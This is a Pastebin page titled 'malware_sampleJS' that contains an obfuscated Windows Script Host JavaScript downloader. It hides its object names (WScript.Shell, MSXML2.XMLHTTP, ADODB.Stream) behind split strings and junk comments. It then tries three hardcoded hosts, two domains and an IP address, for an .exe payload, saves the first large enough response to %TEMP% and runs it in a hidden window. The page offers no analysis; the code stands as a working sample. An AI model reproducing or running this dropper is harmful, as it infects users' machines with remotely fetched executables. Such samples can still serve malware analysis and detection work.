Advertisement
opexxx

malware_sampleJS

Mar 4th, 2016
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.34 KB | None | 0 0
  1. var M = "
  2. auctorit.com/beta/js/73.exe? www.achesoncorner.com/wp-includes/fonts/73.exe? 74.117.183.84
  3. /73.exe? ?".split(" ");
  4. var sPg = ((1/*Y3Y6612814596n889827uM354193eOiZ*/) ? "WScri" : "") + "pt.Shell";
  5. var dB = WScript.CreateObject(sPg);
  6. var fZ = "%TEMP%\\";
  7. var oNB = dB.ExpandEnvironmentStrings(fZ);
  8. var eSL = "2.XMLH";
  9. var vvQ = eSL + "TTP";
  10. var Tn = true, koSm = "ADOD";
  11. var Ko = WScript.CreateObject("MS" + "XML" + (670329, vvQ));
  12. var YqB = WScript.CreateObject(koSm + "B.St" + (160892, "ream"));
  13. var vPm = 0;
  14. var F = 1;
  15. for (var T = vPm; T < M.length; T ++ ){
  16. var hQ = 0;
  17. try {
  18. poi = "GET";
  19. Ko.open(poi, "http://" + M[T] + F, false);
  20. Ko.send();
  21. if (Ko.status == 920 - 720){
  22. YqB.open();
  23. YqB.type = 1;
  24. YqB.write(Ko.responseBody);
  25. if (YqB.size > 172264 - 609){
  26. hQ = 1;
  27. YqB.position = 0;
  28. YqB.saveToFile/*vHeD15uued*/(oNB/*sVTv61Ekz7*/ + F + ".exe", 4 - 2);
  29. try {
  30. if (((new Date()) > 0, 7383478888)){
  31. dB./*d3518262GNy*/Run(oNB + F +/* k22j50ypXp */ ".exe" ,/* N10Q43P9pr */ 3 - 2
  32. , 0);
  33. break ;
  34. }
  35. }
  36. catch (rz){
  37. }
  38. ;
  39. }
  40. ;
  41. YqB.close();
  42. }
  43. ;
  44. if (hQ == 1){
  45. vPm = T;
  46. break ;
  47. }
  48. ;
  49. }
  50. catch (rz){
  51. }
  52. ;
  53. }
  54. ;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement